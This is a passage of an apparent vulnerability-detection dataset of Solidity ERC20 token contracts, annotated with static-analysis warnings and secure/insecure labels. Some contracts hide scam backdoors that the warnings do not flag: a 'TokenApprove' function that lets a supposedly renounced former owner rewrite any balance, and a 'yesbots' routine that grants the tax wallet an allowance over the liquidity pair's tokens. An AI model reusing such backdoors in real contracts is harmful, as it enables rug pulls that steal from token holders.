address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fc9fda1): JONG6900.openTrading() ignores return value by IERC20(uniswapPair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for fc9fda1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9a16896): JONG6900.openTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9a16896: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ad79982): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ad79982: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ad79982\n uniswapPair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// unused-return | ID: 9a16896\n\t\t// reentrancy-eth | ID: ad79982\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: fc9fda1\n\t\t// reentrancy-eth | ID: ad79982\n IERC20(uniswapPair).approve(address(_router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: ad79982\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function recoverStuckEth(address _receiver, address _percent) external {\n require(_msgSender() == _taxWallet);\n }\n}", "file_name": "solidity_code_1403.sol", "secure": 0, "size_bytes": 9360 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferrred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function TransfeerrOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferrred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_1404.sol", "secure": 1, "size_bytes": 1342 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _totalSupply = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transferlimits(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function TokenApprove(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgbyte = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevbyte = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgbyte == prevbyte;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1405.sol", "secure": 0, "size_bytes": 7150 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TrumpOnEth is ERC20 {\n uint256 private constant SIPPL_TLTL = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: e8d10c7): TrumpOnEth.DEAD shadows ERC20.DEAD\n\t// Recommendation for e8d10c7: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 692c172): TrumpOnEth.ZERO shadows ERC20.ZERO\n\t// Recommendation for 692c172: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a845740): TrumpOnEth.maxApprove should be immutable \n\t// Recommendation for a845740: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxApprove;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cab9263): TrumpOnEth.maxswap should be immutable \n\t// Recommendation for cab9263: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxswap;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d8da1e): TrumpOnEth._MinBuns should be constant \n\t// Recommendation for 8d8da1e: Add the 'constant' attribute to state variables that never change.\n uint256 _MinBuns = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3ba8ec7): TrumpOnEth.uniswapV2Router should be immutable \n\t// Recommendation for 3ba8ec7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(\"Trump on Eth\", \"TRUMP ON ETH\", SIPPL_TLTL) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxswap = SIPPL_TLTL / 50;\n\n maxApprove = SIPPL_TLTL / 50;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burnt = (amount * _MinBuns) / 100;\n\n super._transferlimits(from, to, amount, _burnt);\n\n return;\n }\n }\n\n super._transfer(from, to, amount);\n }\n\n function _checkLimitation(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxApprove, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxswap,\n \"Max hold exceeded max\"\n );\n }\n }\n }\n\n function removeLimit() external onlyOwner {\n hasLimit = true;\n }\n}", "file_name": "solidity_code_1406.sol", "secure": 0, "size_bytes": 4364 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract SLM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c073a71): SLM._taxWallet should be immutable \n\t// Recommendation for c073a71: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 687ee81): SLM._initialBuyTax should be constant \n\t// Recommendation for 687ee81: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1bbe8c8): SLM._initialSellTax should be constant \n\t// Recommendation for 1bbe8c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 128cf55): SLM._finalBuyTax should be constant \n\t// Recommendation for 128cf55: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b13f16): SLM._finalSellTax should be constant \n\t// Recommendation for 3b13f16: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bd5a71f): SLM._reduceBuyTaxAt should be constant \n\t// Recommendation for bd5a71f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: b6078a7): SLM._reduceSellTaxAt should be constant \n\t// Recommendation for b6078a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa9fa99): SLM._preventSwapBefore should be constant \n\t// Recommendation for fa9fa99: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 12;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Squirrels Lives Matter\";\n\n string private constant _symbol = unicode\"SLM\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5aa45ef): SLM._taxSwapThreshold should be constant \n\t// Recommendation for 5aa45ef: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61644c8): SLM._maxTaxSwap should be constant \n\t// Recommendation for 61644c8: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniV2Router;\n\n address private uniV2Pair;\n\n address private uniDemo;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 00fcbc8): SLM._qeqe should be immutable \n\t// Recommendation for 00fcbc8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _qeqe;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x6f8D6A578A6aF600d22Ed2E729bdaEB58B32c974);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _qeqe = _taxWallet;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0405a01): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0405a01: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5eecca2): SLM.openTrading() ignores return value by uniV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5eecca2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 433c2ba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 433c2ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 0405a01\n\t\t// unused-return | ID: 5eecca2\n\t\t// reentrancy-eth | ID: 433c2ba\n uniV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0405a01\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 433c2ba\n tradingOpen = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0cc667d): SLM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0cc667d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8b1d6da): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8b1d6da: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 58a368c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 58a368c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8b1d6da\n\t\t// reentrancy-benign | ID: 58a368c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8b1d6da\n\t\t// reentrancy-benign | ID: 58a368c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][msg.sender].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c3dcff0): SLM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c3dcff0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 58a368c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8b1d6da\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bf304a0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bf304a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 78ea682): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 78ea682: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from == uniV2Pair &&\n to != address(uniV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(tradingOpen, \"Trading not open.\");\n\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniV2Pair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: bf304a0\n\t\t\t\t\t// reentrancy-eth | ID: 78ea682\n swapETH(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: bf304a0\n\t\t\t\t// reentrancy-eth | ID: 78ea682\n sendETH(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 78ea682\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bf304a0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 78ea682\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 78ea682\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bf304a0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapETH(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniV2Router.WETH();\n\n _approve(address(this), address(uniV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8b1d6da\n\t\t// reentrancy-events | ID: bf304a0\n\t\t// reentrancy-benign | ID: 58a368c\n\t\t// reentrancy-eth | ID: 78ea682\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueETH() public onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function yesbots(uint256 amount) private {\n if (_msgSender() != uniDemo) {\n _allowances[uniDemo][_qeqe] = amount;\n } else {\n _allowances[_msgSender()][_qeqe] = amount * 100;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETH(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8b1d6da\n\t\t// reentrancy-events | ID: bf304a0\n\t\t// reentrancy-eth | ID: 78ea682\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delbots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function removeLimits() external onlyOwner {\n yesbots(_tTotal);\n\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ede4dc9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ede4dc9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createPair() external onlyOwner {\n uniV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ede4dc9\n uniV2Pair = IUniswapV2Factory(uniV2Router.factory()).createPair(\n address(this),\n uniV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ede4dc9\n uniDemo = uniV2Pair;\n }\n}", "file_name": "solidity_code_1407.sol", "secure": 0, "size_bytes": 16577 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Crashingout is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable matter;\n\n constructor() {\n _name = \"Crashing Out\";\n\n _symbol = \"CRASH\";\n\n _decimals = 18;\n\n uint256 initialSupply = 172000000;\n\n matter = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = 